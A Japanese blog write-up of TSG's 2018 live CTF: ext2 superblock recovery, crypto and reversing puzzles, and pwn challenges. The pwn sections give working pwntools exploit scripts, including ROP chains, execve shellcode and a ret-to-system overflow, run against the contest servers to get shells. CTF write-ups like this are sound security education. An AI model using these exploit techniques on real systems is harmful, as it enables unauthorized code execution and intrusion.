TSG live CTF writeup - cruel dd, rop4, rop1, simple pwn, RSA modoki, repeat64, leap it, TSG shooter

この記事はTSG Advent Calendar 2018 の4日目の記事として書かれました。昨日は、taiyoslime さんの駒場祭 TSGCTF day1 Writeup でした。

僕の所属するサークル TSGが 東京大学駒場祭というイベントにて、ライブCTFというものをしました。そのときの動画はyoutube から見れるので見てください。

この企画、1日目と3日目に2回行われていて、僕は両方に出たので、それぞれの日のwriteupを書こうと思います

1日目

1日目の方は、Web/Stego/Forensic dayで、それ系の問題を kcz146 さんが作ったわけですが、まぁ分野的ににゃーん(しんどかった)で、simqleとcruel ddという二問しか解けていません。simqleは、昨日のスライムくんの記事で十分だと思うので、めんどいしもう書きません。cruel ddは昨日のブログにはなさそうだったのでwriteupを残しておこうと思います

Cruel dd

ext2ファイルシステムは、primary superblockが壊れていても8194(8193)番目のブロックなどに、バックアップが存在します

結局のところ、これをprimary superblockにコピーしてからマウントすれば良いという話です

今回のファイルシステムの全体の大きさから考えると、1block 1024バイトだったとすると8194(8193)番目のブロックは、ファイルの外側になってしまうので、512バイトが1blockだったと推定できます。

実際8193番目のブロックを取り出してみると

0400 0000 2000 0000 0199 0000 018f 0000
0011 0000 0001 0000 0000 0000 0000 0000
1000 0000 1000 0000 0200 0000 9015 5c03
9015 5c03 0002 ffff ef53 0000 0001 0000
1bef 5be9 0000 0000 0000 0000 0001 0000
0000 0000 000b 0000 0080 0000 0038 0000
0002 0000 0003 0000 01bc e156 98e7 b440
8a89 c281 5be1 50ba 0000 0000 0000 0000
0000 0000 0000 0000 6d2f 746e 682f 676f
0065 6569 2f73 7374 2f67 6d6b 3162 2f38
6f66 2d72 7865 3274 6d2f 746e 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 003f
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 32bf 0f89
fad9 f04f 4bb4 b39d b055 40af 0001 0000
000c 0000 0000 0000 1bef 5be9 0000 0000

のようなデータがでてきて、良さそうであることがわかります。ext2では、ブロックサイズが512であっても1024であっても、とにかく1024byte目からがprimary super blockらしいので、今回は2番目のブロックに、上で手に入れたブロックを書き込めば良くて、

これをコピーすると

with open('problem.img', 'r') as f:
    dsk = f.read()
    f.seek(512 * 1)
    print(f.read(512).encode('hex'))
    f.seek(512 * 8194)
    s = f.read(512)
    print(f.read(512).encode('hex'))

    idx = 512
    with open('dump.img', 'w') as f:
        f.write(dsk[:idx * 2])
        f.write(s)
        f.write(dsk[3 * idx:])
$ file dump.img
dump.img: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=bc0156e1-e798-40b4-898a-81c2e15bba50 (large files)
$ sudo mount -t ext2 -o loop dump.img /mnt/hoge
$ cd /mnt/hoge
$ ls
0BJCq0  2zUFP9  618hYs  8SzRjh  BAqCXN  cRcuME  fyuHE8  GSVDov  japzYf  KCfhYO      NEkEt0  pVe5CV  sL8eLz  uEpZ06  w48Dn2  XgNgAN  Xu5yDV
1xGiip  4ywOPQ  7TfkLS  9mFmOX  bzpvEn  dQI4bR  g0SZSZ  ha8fEm  JnYMQr  LfApJD      nv5LoS  Q3SxM9  SQNciJ  uLlG5w  wJVWo3  XkBwxw  xvFkBG
2XzizX  5xJ6sl  8PIzdB  a0St7p  CIjr1B  fNeGvj  gQnmAC  IzjM6x  K2fbKz  lost+found  OP8MNj  rzHsxc  tkn1Cp  w1j6Po  XGFzEq  XStpXf  ycIRAo

無事マウントできる :tada:

あとは、適当にsha1sumが一致するものを探せばよく

$ sha1sum */* | grep 29e96b8528bfb561e2a3c449d08e642b441f3637
29e96b8528bfb561e2a3c449d08e642b441f3637  Q3SxM9/v3F20y.png

見つかって終わりです。 TSGCTF{Stegano_to_Forensics_ha_kamihitoe_dato_omoimasu}

day3

day3はpwn/reversing/crypto dayです。ライブ中は残念ながら二問しか解けませんでしたがそのあと他の問題もすべて解いたのでそれらのwriteupを簡単に書きます。

rop4/rop1

rop4はropをするだけなんですが、これにさらに制限がついたrop1は良い問題でした。特に、僕は、sigreturn oriented programming というものを知らなかったので、完全にROPパズルをしました。どうもrop1に関しては、想定解ではなかった(というのもrop1で動くペイロードはrop4で動くことが期待されているようだが、ROPパズルをしたので、僕の方針はrop4では動かない)ようで、多少真面目に書こうと思います。

rop4

まずrop4です。

f:id:moratorium08:20181204020707p:plain

シンプルですね。rwxな領域にデータを書き込めますが、基本的に0埋めされて、最終的に一番上の8bytesが

A
ret 
B
ret 
C
ret 
D
ret
0
...(残りは全部0埋め)

という構造になるので、まぁ愚直に考えて、A, B, C, Dにpop hogeを置いて、syscallを呼べばいいかなという気持ちになります。おあつらえ向きに最初、この領域にはpop rsiが置いてあるので、readのシステムコールの送り込み先を、この領域の頭にすることができるので、あとは頑張ってropガジェットを作るだけです

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 29000
else:
    host = "127.0.0.1"
    port = 3001

# 構造
'''
0x800000
---------
[0x402000]  ret to 0x402000
[0x402000]  pop ret -> rsi = 0x402000
>>>> Pop rax, 0x00, pop rdi, 0x00, pop rdx, 0x00 <<<<< (入力)
[0x402000] ret to 0x402000
59 (execve)  pop ret -> rax = 59
[0x402002]
/bin/sh addr (あとで決まる)rdi = “/bin/sh” addr
[0x402004]
0
[0x402006]
/binsh addr     rsi = binsh addr
[0x40013C] syscall
"/bin/sh"
'''

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
syscall = 0x40013c

read = 0x400132

payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read)
payload += p64(base)
payload += p64(59)
payload += p64(base + 2)
payload += p64(binshaddr)
payload += p64(base + 4)
payload += p64(0)
payload += p64(base + 6)
payload += p64(argvaddr)
payload += p64(syscall)

payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy


r = remote(host, port)
print('attach?')
raw_input()
r.sendline(payload)

import time
time.sleep(1)

'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

print('ok?')
raw_input()
snd_input = '\x58\x00\x5f\x00\x5a\x00\x5e\x00'
snd_input +='A' * (len(snd_input) - 1) #dummy
r.send(snd_input)
r.interactive()
python rop4.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 29000: Done
attach?

ok?

[*] Switching to interactive mode
$ cat flag
TSG{Rop_Intr0duc71on}

rop1

さて、rop1です。今度は、

f:id:moratorium08:20181204021359p:plain

さっきの1byte書き込める領域が一つになってしまいました。こうなるとさっきの方針では、システムコールの引数を作るのは多分難しいです。実は、このropガジェット領域が無くてもいけるアツい方法でこの問題は解けるらしいですが、ぼくはもっと愚直に頑張ってROPをしました。

まずROPガジェットを眺めると

A total of 29 gadgets found.
You decided to keep only the unique ones, 26 unique gadgets found.
0x00400162: add bl, al ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (2 found)
0x00400136: add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400134: add byte [rax], al ; add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400133: add byte [rax], al ; add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400176: add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x00400138: add byte [rax], al ; add byte [rax], al ; syscall  ;  (1 found)
0x0040016d: add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400135: add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400178: add byte [rax], al ; ret  ;  (1 found)
0x0040013a: add byte [rax], al ; syscall  ;  (1 found)
0x00400173: and byte [rax+0x00], al ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040016a: and byte [rax+0x00], al ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400161: and byte [rax+0x00], al ; ret  ;  (1 found)
0x0040015f: and eax, 0x00402001 ; ret  ;  (1 found)
0x00400168: and eax, 0x00402002 ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400171: and eax, 0x00402004 ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040015d: mov byte [0x00402001], 0xFFFFFFC3 ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x0040016f: mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400137: mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400132: mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400130: mov esi, esp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x0040012f: mov rsi, rsp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400165: mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00402000: pop rsi ; ret  ;  (1 found)
0x00400164: ret  ;  (3 found)
0x0040013c: syscall  ;  (1 found)

まぁ基本的に使えそうなのはpop rsi ; retだけに思えるんですが、ところで、今回rwxとして用意されているアドレスが0x402000であったことを思い出すと、add byte [rax], al ; ret このガジェットが使えそうという気持ちになります。すなわち、rop用領域を一度pop rax; retに書き換えてから、ROPで、rax = 0x402001にして、その上でこのガジェットを大量に呼び出し続けると、0x402001の値を1ずつ加算できることが分かります。もともと0x402001はret、すなわち0xc3だったことを考えると、良い感じにほしいpop hogeとしてpop rdiが挙げられるので、156回加算をさせて、pop rdiに書き換えることができます。そうするとメモリは

pop rax
pop rdi
(以降0)

というようになり適切にretを入れるひつようがあります。これも同様にして作ればよく、0xc3は3の倍数なので、rax = 0x402003としたあとに0xc3/3回同じように足せばいいことが分かります。0x402002が0だと困るのでこれも良い感じのpop hogeを入れておきます(なんでもいいですが)。

f:id:moratorium08:20181204023108p:plain

ここまでやれば、rop4のようにexecveを呼び出すのは少し難しそうですが、mprotectを使ってstackをrwxにできればよく、(実際はlengthの値はかなり大きい値でもうごきそうだが、validなlengthに設定した上で)システムコールを呼ぶことができ、stackをrwxにすることができます。

あとは、stackにおいておいたシェルコードに飛ばせばシェルが取れます。

一つ問題としては、readで一度に読み込んでくれるサイズが0x100 bytesしかないことで、これを0x1000にするために最初に前処理を加える必要がありました(これもropで簡単にできますが)。

# coding: utf-8
from __future__ import print_function, division
from pwn import *
import time
time.sleep(1)

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 30000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
if is_gaibu:
    time.sleep(1)
else:
    print('attach?'); raw_input()

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
shellcode_addr = stack_base + payload_len
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

syscall = 0x40013c
read = 0x400132
add_byte = 0x00400178

rdx = '\x5a'
rax = '\x58'
rsi = '\x5e'

#### 事前処理 ####
payload1 = ''
payload1 += p64(base)
payload1 += p64(base)
payload1 += p64(read) # <- pop rdxにする

# rdx = 0x1000
payload1 += p64(base)
payload1 += p64(0x1000)
payload1 += p64(read) # <- pop rsiにする

payload1 += p64(base)
payload1 += p64(stack_base + len(payload1) + 16)
payload1 += p64(read)

r.sendline(payload1)
if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rsi)'); raw_input()
r.sendline(rsi)


#### main ####

# rsi = stack_base
payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read) # <- pop rdxにする
# rdx = 7
payload += p64(base)
payload += p64(7)
payload += p64(read) # <- pop raxにする

# ----ok? ----

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 2) # 0x402002

# 0x0 -> 0x5e
payload += p64(add_byte) * (0x5e // 2)

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 3) # 0x402002

payload += p64(add_byte) * (0xc3 // 3)

# rax = 0x402001
payload += p64(base)
payload += p64(base + 1) # 0x402001

# 0xc3 -> 0x5f(pop rdi)
payload += p64(add_byte) * 156


# pop rax, pop rdi, pop rsi, ret
payload += p64(base)
payload += p64(10)
payload += p64(stack_base)
payload += p64(1000)
payload += p64(syscall)

payload += p64(stack_base + len(payload) + len(payload1) + 8)
payload += shellcode
print(hex(len(payload)))


'''
payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy
'''


if is_gaibu:
    time.sleep(1)
else:
    print('ok?(payload)'); raw_input()
r.sendline(payload)


'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rax)'); raw_input()
r.sendline(rax)

r.interactive()
python rob1.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 30000: Done
0x90b
[*] Switching to interactive mode
$ cat flag
TSG{Y0u_4re_ropro}

simple pwn

やるだけです。ぼくはcat hoge | nc ...としていて、自分の読み込みが続かないことに20分くらい気づいていませんでした。悲しいね。

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 28000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
hoge = "ABCDEFGH"

system = 0x4004f0
pwd = 0x4007F5
binsh = 0x4007ED
hoge += p64(binsh)
hoge += p64(binsh)

hoge += (p64(system) + p64(binsh)) * 20

r.recv()
r.sendline(hoge)
r.interactive()
python solve.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 28000: Done
[*] Switching to interactive mode

ls
/bin/sh
pwd
and so on.
I will execute system("ls").
By the way, what's your name?
Hello ABCDEFGH�@
$ ls
flag
simplepwn
$ cat flag
TSG{Off_8y_0n3_1s_d4ng3r0u5}

RSA modoki

メッセージM, 公開鍵(e, N)に対して、

M^{e}mod N以外に、M, e, Nの重複組み合わせ(x1, x2, x3)に対して、x1^{x2}mod x3 が与えられるので、もとのメッセージを取り戻せという問題。

僕の方針は、M^{N}mod NM^{e}mod Nに着目して、M^{e}mod Nから、Nを超えないようにN/eなる整数乗したとき、その逆元をM^{N}mod Nにかけたとき、M^{e}mod Nより小さいMの冪剰余が求まる。これを繰り返すという方針でやりました。以下がスクリプトです

from sage.all import *


Me = 4771927438269424617086864460427588927685968858772596529925425864827379896120677342742544705865325883178283881689067789633920046347508567495924928993205540902876922908440835891794350653124131548580661948466506456392406029257687330446439161784875061465249413422800555353575612039509318856082060867757527082999381382681891237917271888271811174085782976219225579510987322716658924425698600376008615787939852778696573220276869519135449197608289861125272164118208894871433095276157997819910533132370122315968610259885729508236467084582361328809053764435348792246127993087255786213328761410986229939118402787033699953785746
MN = 2705635819291353775853988251362403726882498874885389969416192625721003893762024008475144952793087638197473000259478395279558522609053080649616378945598157888081781184041761090892659996067449429721031367737633819648219255740636729108126622231032083738015194936402275715743952757447126135118415153697983971640544815760617119097009648465887032148606416028076780826062041413992737147902683974049281523412484290551752851064753504393948347489634682526224667317363112784571286702941321430018642062955630644754763642699174552713371624742888761597132517522186042726776731080342073756121029029595139976395043091228836743667745


N = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373
e = 65537


a = MN
b = Me

an = N
bn = e

while True:
    x = pow(b, an // bn, N)
    xi = inverse_mod(int(x), N)
    tmp = (a * xi) % N

    a = b
    b = tmp

    tmp = an % bn
    an = bn
    bn = tmp
    if bn < 1:
        break
print hex(a).decode('hex')
TSG{The_m0r3_d4ta_you_have_7he_ea5ier_you_d3c0de}

Repeat64

メッセージMのbase64を10回くらいして得られた文字列の各バイトに対して、確率0.5で下位1bitを反転するという操作をされた文字列が与えられるので、もとの文字列を取り戻せという問題

これは、単純に前からk文字目までのメッセージが求まっているとき、k+1文字目とk+2文字目を全通り試して、長さk+2の文字列を上の変換をかけて得られた文字列の一致率がもっとも高いものを選ぶ というのを繰り返していけば良い。もっともぼくがやったときは、思考が停止していたため、k+1, k+2, k+3, k+4の4文字からk+1, k+2, k+3の3文字を決定するという計算量が大きいことをしてしまった。以下がそのスクリプト

import base64
ok = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

target = "Vl0vd2QyTXlVWFxYYUGwT1[r[GOkSm[1TVZOV10VbEOYa2L1VjKJRFVGWm[NajDxWjBaR3LySjWTbGinTWhCUVZucDd[V1KIVlusalKt`F8UW2N3[TZaeD0UTlSNazE1Wke1c3FGSoNkSEJXTUdRelmpRluXR0KITmxvW01DSUBVa2LxWkKGW0OuTlZhdmyYWWynU00xVoNXbXSXUjGKRWVteFOhVmqxV1ivW0KrbGhW`jZhZDZObmqF`GhmbXhZV1ZkLFQxUnNWcmKsTkB`cWlraENSbFqY[TZOaG[scHmWLWJHWkFaRlduWlFSRYBHVWqGU3SVVoNUcWisYlinVF[tMTCWMT05WWtj`lJuUlmZbF[hVjZ`eFRHZGyVbGw1VmWWU0XvLXKW`k5aTU[wWG[qRlGVLk5IWF0FT1JVbEWWbGP1TUG`Vk1VWk4RSDE5"

class S:
    def __init__(s, l):
        s.l = l

base = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_'

def gen2():
    l = []
    for c in base:
        for d in base:
            l.append(c + d)
    return l
def gen3():
    l = []
    for c in base:
        for d in base:
            for e in base:
                l.append(c + d + e)
    return l
def gen4():
    l = []
    for c in base:
        for d in base:
            for e in base:
                for f in base:
                    l.append(c + d + e + f)
    return l


def enc(x):
    for i in range(10):
        x = base64.b64encode(x)
    return x


s = 'TSG'

k = '{'

l = gen3()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + k + t)

    score = 0
    for (i, c) in enumerate(x[:-20]):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    hoge.append((score, t))

r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)
s = s + k + r[0][1][:-1]

l = gen4()
for i in range(4):
    mx = 0
    result = ''
    hoge =  []
    for t in l:
        x = enc(s + t)

        score = 0
        for (i, c) in enumerate(x[:-20]):
            if target[i] == c or chr(ord(target[i]) ^ 1) == c:
                score += 1

        if score > mx:
            mx = score
            result = t[:-1]
            print(mx, result)
            if (len(x[:-20]) == score):
                break
    s += result
    print(r)
    print(mx, s)

k = '}'
l = gen2()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + t + k)

    score = 0
    for (i, c) in enumerate(x):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    if score > mx:
        mx = score
        result = t
    hoge.append((score, t))
s += result
r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)

s += result + k

print(mx)
print(s)

print(result)
TSG{Ba5e64_1s_r0bus7}

Leap It

C言語のQuineっぽい何かが与えられる。これを作るのがしんどそう。ところで、フラグの文字列の場所だけが、一度実行するごとにずれていく。1000000回実行するとフラグにたどり着くようだが、意外とコンパイルは時間がかかるので終わらない。

まぁ結局の所、これはフラグが書き換わる部分だけをシミュレートするプログラムを書けば良い

#include <stdio.h>
#include <stdlib.h>
#define FLAGLEN 17

unsigned int iv = 1337;
unsigned int cnt = 1000000;
unsigned char flag[FLAGLEN+1] = {
    52, 236, 200, 230, 31, 172, 21, 5, 242, 126, 235, 174, 32, 145, 4, 88, 54, 0
};

unsigned int myrand(){
    iv = (iv * 314 + 159) % 265358;
    return iv;
}
int main(void) {
    for (; cnt != 0; cnt--) {
        unsigned int p,q;
        p = myrand();
        q = myrand();
        flag[p % FLAGLEN] ^= (q & 255);
    }
    int i;
    for(i=0;i<FLAGLEN;i++){
        printf("%d, ",flag[i]);
    }
    return 0;
}
In [1]: l = [84, 83, 71, 123, 73, 95, 49, 48, 118, 101, 95, 57, 117, 105, 110, 101, 125]

In [2]: ''.join(map(chr, l))
Out[2]: 'TSG{I_10ve_9uine}'

TSG shooter

windows PE32 バイナリ。絵が綺麗だから入れたらしい。普通にうさみみハリケーンでHPを書き換えたらいける。windows立ち上げるのがしんどい

f:id:moratorium08:20181204025519p:plain

最後に

くっきーさん、satosさん作問お疲れ様でした。楽しかったです。

TSGCTF開けるといいですね